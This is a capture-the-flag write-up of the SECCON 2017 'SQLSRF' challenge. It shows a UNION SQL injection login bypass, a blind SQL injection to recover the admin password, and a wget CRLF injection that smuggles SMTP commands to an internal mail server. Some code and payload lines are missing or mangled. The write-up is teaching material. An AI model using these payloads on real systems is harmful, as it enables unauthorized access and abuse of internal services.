Tags: ssrf crlfinjection wget sqlite sqlinjection blindsqli sqli sql

Rating: 5.0

SQLSRF
======

The task is to send a mail to root with the subject "give me flag".
## The beginning

The given task address http://sqlsrf.pwn.seccon.jp/sqlsrf/ greets us with a directory listing:

![directory listing](https://i.imgur.com/KTRPKMW.png)

Clicking index.cgi or menu.cgi redirects to the following login page:

![ekran logowania](https://i.imgur.com/xqstcwd.png)

The index.cgi_backup20171129 file contains the login index.cgi script:


#!/usr/bin/perl

use CGI;
my $q = new CGI; use CGI::Session; my$s = CGI::Session->new(undef, $q->cookie('CGISESSID')||undef, {Directory=>'/tmp'});$s->expire('+1M'); require './.htcrypt.pl';

my $user =$q->param('user');
print $q->header(-charset=>'UTF-8', -cookie=> [$q->cookie(-name=>'CGISESSID', -value=>$s->id), ($q->param('save') eq '1' ? $q->cookie(-name=>'remember', -value=>&encrypt($user), -expires=>'+1M') : undef)
]),
$q->start_html(-lang=>'ja', -encoding=>'UTF-8', -title=>'SECCON 2017', -bgcolor=>'black');$user = &decrypt($q->cookie('remember')) if($user eq '' && $q->cookie('remember') ne ''); my$errmsg = '';
if($q->param('login') ne '') { use DBI; my$dbh = DBI->connect('dbi:SQLite:dbname=./.htDB');
my $sth =$dbh->prepare("SELECT password FROM users WHERE username='".$q->param('user')."';");$errmsg = '<h2 style="color:red">Login Error!</h2>';
eval {
$sth->execute(); if(my @row =$sth->fetchrow_array) {
if($row[0] ne '' &&$q->param('pass') ne '' && $row[0] eq &encrypt($q->param('pass'))) {
$s->param('autheduser',$q->param('user'));
$errmsg = ''; } } }; if($@) {
$errmsg = '<h2 style="color:red">Database Error!</h2>'; }$dbh->disconnect();
}
$user =$q->escapeHTML(user); print <<"EOM"; <div style="background:#000 url(./bg-header.jpg) 50% 50% no-repeat;position:fixed;width:100%;height:300px;top:0;"> </div> <div style="position:relative;top:300px;color:white;text-align:center;"> <h1>Login</h1> <form action="?" method="post">errmsg
<table border="0" align="center" style="background:white;color:black;padding:50px;border:1px solid darkgray;">
<tr><td colspan="2"><input type="checkbox" name="save" value="1">Remember Me</td></tr>
</table>
</form>
</div>
</body>
</html>
EOM

1;


## Authentication bypass

The first thing to do here is probably to log in. The login script shows that the authentication is done by pulling the encrypted user password from the database and comparing it to the result of encrypt(pass), where pass is the password parameter we supply in the login form.

The username form field is prone to SQL injection, which can be seen in the script and confirmed by sending a ' username and getting a Database Error!.

Maybe it's possible to use the SQLi to directly execute our code (for example the mail command)? After a bit of googling, a code execution exploit can be found for example [here](http://resources.infosecinstitute.com/code-execution-and-privilege-escalation-databases/), but it requires stacked queries. Another bit of googling shows that the DBI SQLite driver doesn't allow stacked queries, so that's a no go. No other exploits can be easily found, so it's back to trying to log in.

One way to use SQLi to bypass the authorization here is to supply an arbitrary password - for example 'abc', and make the query return encrypt('abc'). If we can do that, then the authentication method described above will compare the encrypt('abc') "database" password we forced by SQLi with the result of encrypt('abc'), because we supply 'abc' as password.

The SQLi part is easy - supplying ' UNION SELECT '{}'; -- as the username will result in the following query:




which will return {}. All we have to do is find the value of encrypt('abc') and put it in place of {}.

The problem is that the encrypt function is supplied from a local file, so we don't know what kind of encryption it is. However, the script also shows that when we check the Remember me field and try to log in, the value of encrypt(user) (where user is the username parameter we supply in the login form) is stored in the remember cookie. Conversely, it can also be deducted that if we don't supply any username and the remember cookie is present, the value of decrypt(cookie['remember']) is shown in the username form field when the page reloads after clicking Login.

Therefore we have a simple way to encrypt and decrypt any string we like:
* encrypt(**s**): check the Remember me checkbox, put **s** in the username field, click Login, read the remember cookie
* decrypt(**s**): set the remember cookie to **s**, leave the form fields empty, click Login, read the username field value

Using the following method, we get that encrypt('abc') = 'a37ad08a8b145d11edf2d82254be0b58'. All that's left is to log in with the following credentials:


user = ' UNION SELECT 'a37ad08a8b145d11edf2d82254be0b58'; --
pass = abc


And we're logged in:

![logged in](https://imgur.com/YXna5Kk.png)

The first button on the page can be used to send the netstat -tnl command to the server and retrieve its output:

![logged in](https://imgur.com/SuTSS2U.png)

The services active on the server are HTTP, SSH and SMTP. From the outside, only HTTP and SSH can be seen as open, so the SMTP server is probably behind a firewall. Since our task is to send a mail, we probably have to find a way to communicate with this server.

Modifying the cmd parameter that contains the netsat command to try and insert another command instead of it, after it, or as its parametr yields no results. It appears that the server checks the command for string equality, so that's probably not exploitable.

The second button looks like it can be used to retrieve the results of a wget command in which we control the address. However, there's a warning saying that only a person with the username 'admin' can use the button and the button is disabled.

First, let's check if the warning's not fake and the button being disabled isn't the only thing preventing us from using it. Unfortunately, neither making the button enabled and using it, nor altering the cmd and args form parameters in BurpSuite while sendig a request seem to give any results. The next step then seems to be to log in with the username 'admin'.

The authed_user parameter, which probably determines our identity to the server, is stored in the session, server-side, so it's probably not possible to alter it after we log in. We also can't use our previous method to log in, because anything we put in the username form field is treated as our username to the server - so it has to be exactly 'admin'.

It looks like we have to get the password for the 'admin' user from the database. The passwords in the databases are stored encrypted, but thankfully we already have a method to decrypt any given string.

Since we don't get any output from the database returned to us, we have to use blind SQL injection to retrieve the password char-by-char. The first step is to find an action that depends on the SQL query and is observable, so we can check if it suceeded or not - get a binary response. Fortunately, we already have that action at hand - logging in!

Let's analyze this. First, it can be confirmed that the




username parameter can be changed to




and it still works. But now, we can append an AND condition at the end of it and test if the condition is true or not. If it's true, we should log in successfully and if it's false we'll get a Login Error!. Let's confirm that this aproach works:



logs us in successfully, while



Now that we know that testing the condition works, we have to find a condition that we can use to retrieve the admin password. The SUBSTR() function can be used for that - we can use it to compare any character of the password to an arbitrary character. For example SUBSTR(password, 10, 1)='a' checks if the 10th character of the password is 'a'. The whole username paremeter should then become:




where we substitute the {}s with the position of the character in the password and the character we want to compare it against.

We can use the parameter above to brute-force the password. Outputs from the encrypt() function were 32 characters long, so the password should be the same size. So we have to check 32 password characters against 100 printable characters. That's at most 3200 requests - not too bad, and of course we can write the script so that it stops checking the current position after a matching character is found.

The following script gets us the encrypted password in under 3 minutes:

{python}
import re
import requests
import string

for char in string.printable:
data = {
'pass': 'abc',
}

print(char, 'logged' if not m else 'nope')

if not m:
return char

for i in range(1, 1 + PASSWORD_LENGTH):



The encrypted password found by the script is d2f37e101c0e76bcc90b5634a5510f64. The only thing left is to decrypt the password using the remember cookie and log in as admin. The decrypted password is Yes!Kusomon!!, and we are logged in:

## Sending mail via wget

Now the wget --debug -O /dev/stdout 'http://{}' command becomes available and its output is shown on the page. Again, none of the command injection tricks work here, the *only* thing we control is the address in the wget command. We can't even modify the flags.

Googling wget exploit gets us two exploits from 2016 which lead to arbitrary write, and through it to code execution. Unfortunately, none of the two works with the -O flag that we have set.

Our task is still to send an email, so let's try inputting the address of our target SMTP server: 127.0.0.1:25. We get the following response:


Setting --output-document (outputdocument) to /dev/stdout
DEBUG output created by Wget 1.14 on linux-gnu.

URI encoding = 'ANSI_X3.4-1968'
Converted file name 'index.html' (UTF-8) -> 'index.html' (ANSI_X3.4-1968)
--2017-12-11 01:41:39-- http://127.0.0.1:25/
Connecting to 127.0.0.1:25... connected.
Created socket 4.
Releasing 0x0000000001c70c20 (new refcount 0).
Deleting unused 0x0000000001c70c20.

---request begin---
GET / HTTP/1.1
User-Agent: Wget/1.14 (linux-gnu)
Accept: */*
Host: 127.0.0.1:25
Connection: Keep-Alive

---request end---
HTTP request sent, awaiting response...
---response begin---
---response end---
Registered socket 4 for persistent reuse.
Length: unspecified
Saving to: '/dev/stdout'
220 ymzk01.pwn ESMTP patched-Postfix
502 5.5.2 Error: command not recognized
502 5.5.2 Error: command not recognized
502 5.5.2 Error: command not recognized
502 5.5.2 Error: command not recognized
502 5.5.2 Error: command not recognized


We see that the server tries to interpret each of the 5 lines of our HTTP request and it doesn't stop after encountering a bad command. This leads us to believe that if we had the ability to add arbitrary headers to the request, we could probably communicate with the server. Normally, to add headers to the requests in wget you have to set appropriate flags, which we can't do.

However, after next fair bit of googling, the following vulnerability can be found: http://lists.gnu.org/archive/html/bug-wget/2017-03/msg00018.html. As it turns out, there's a bug in wget's url escaping, which makes the host part of the url prone to CRLF injection and in turn allows us to set arbitrary headers on the request.

However, after trying out the exploit on a test value, we get the following result:


Setting --output-document (outputdocument) to /dev/stdout
DEBUG output created by Wget 1.14 on linux-gnu.

URI encoding = 'ANSI_X3.4-1968'


It looks like the exploit in its current form doesn't work well with an address with a specified port. Fortunately we can move the port part to the end of the string and it works - 127.0.0.1%0d%0atest:25/ gives us:


Setting --output-document (outputdocument) to /dev/stdout
DEBUG output created by Wget 1.14 on linux-gnu.

URI encoding = 'ANSI_X3.4-1968'
Converted file name 'index.html' (UTF-8) -> 'index.html' (ANSI_X3.4-1968)
--2017-12-11 01:50:58-- http://127.0.0.1%0D%0Atest:25/
Resolving 127.0.0.1\r\ntest (127.0.0.1\r\ntest)... 127.0.0.1
Caching 127.0.0.1
test => 127.0.0.1
Connecting to 127.0.0.1
test (127.0.0.1
test)|127.0.0.1|:25... connected.
Created socket 4.
Releasing 0x0000000001b59c60 (new refcount 1).

---request begin---
GET / HTTP/1.1
User-Agent: Wget/1.14 (linux-gnu)
Accept: */*
Host: 127.0.0.1
test:25
Connection: Keep-Alive

---request end---
HTTP request sent, awaiting response...
---response begin---
---response end---
Registered socket 4 for persistent reuse.
Length: unspecified
Saving to: '/dev/stdout'
220 ymzk01.pwn ESMTP patched-Postfix
502 5.5.2 Error: command not recognized
502 5.5.2 Error: command not recognized
502 5.5.2 Error: command not recognized
502 5.5.2 Error: command not recognized
502 5.5.2 Error: command not recognized
502 5.5.2 Error: command not recognized


The server now tries to interpret 6 commands, so it looks like it received our test command. So now we have to find out how the SMTP protocol works, write a minimal example that sends an email to root, with our mail set as the sender and subject set to 'give me flag'. Analyzing the first google result leaves us with:


HELO towca
MAIL FROM:<my_mail@gmail.com>
RCPT TO:<root>
DATA
Subject: give me flag

abc
.


This sequence of commands should make the server send an email to root from my_mail@gmail.com with the subject 'give me flag' and the body 'abc'.

Now all we have to do is take the text above, add additional newlines at the beginning and at the end, and pass it through an url-encoder (url-encoding turns all newlines into %0d%0a). Then, place the resulting string between 127.0.0.1 and :25/. So in the end, we have to send:




This gives us the following output:


Setting --output-document (outputdocument) to /dev/stdout
DEBUG output created by Wget 1.14 on linux-gnu.

URI encoding = 'ANSI_X3.4-1968'
Converted file name 'index.html' (UTF-8) -> 'index.html' (ANSI_X3.4-1968)
Resolving 127.0.0.1\r\nhelo towca\r\nmail from:<my_mail@gmail.com>\r\nrcpt to:<root>\r\ndata\r\nsubject: give me flag\r\n\r\nabc\r\n.\r\n (127.0.0.1\r\nhelo towca\r\nmail from:<my_mail@gmail.com>\r\nrcpt to:<root>\r\ndata\r\nsubject: give me flag\r\n\r\nabc\r\n.\r\n)... 127.0.0.1
Caching 127.0.0.1
helo towca
mail from:<my_mail@gmail.com>
rcpt to:<root>
data
subject: give me flag

abc
.
=> 127.0.0.1
Connecting to 127.0.0.1
helo towca
mail from:<my_mail@gmail.com>
rcpt to:<root>
data
subject: give me flag

abc
.
(127.0.0.1
helo towca
mail from:<my_mail@gmail.com>
rcpt to:<root>
data
subject: give me flag

abc
.
)|127.0.0.1|:25... connected.
Created socket 4.
Releasing 0x00000000010e1ec0 (new refcount 1).

---request begin---
GET / HTTP/1.1
User-Agent: Wget/1.14 (linux-gnu)
Accept: */*
Host: [127.0.0.1
helo towca
mail from:<my_mail@gmail.com>
rcpt to:<root>
data
subject: give me flag

abc
.
]:25
Connection: Keep-Alive

---request end---
HTTP request sent, awaiting response...
---response begin---
---response end---
Registered socket 4 for persistent reuse.
Length: unspecified
Saving to: '/dev/stdout'
220 ymzk01.pwn ESMTP patched-Postfix
502 5.5.2 Error: command not recognized
502 5.5.2 Error: command not recognized
502 5.5.2 Error: command not recognized
502 5.5.2 Error: command not recognized
250 ymzk01.pwn
250 2.1.0 Ok
250 2.1.5 Ok
354 End data with <CR><LF>.<CR><LF>
250 2.0.0 Ok: queued as 6B85326633
502 5.5.2 Error: command not recognized
502 5.5.2 Error: command not recognized


As we can see, our commands were sent in the headers, and the server's 250 2.0.0 Ok: queued as 6B85326633 response means that everything went according to plan. After checking my_mail@gmail.com, we get the following email:


Encrypted-FLAG: 37208e07f86ba78a7416ecd535fd874a3b98b964005a5503bcaa41a1c9b42a19


Even though the encrypted string here is twice as long as the previous outputs from the encrypt() function, when we use the remember cookie to decrypt it, we finally get the flag:


SECCON{SSRFisMyFriend!}


Original writeup (https://hackmd.io/s/S19dfxoWM).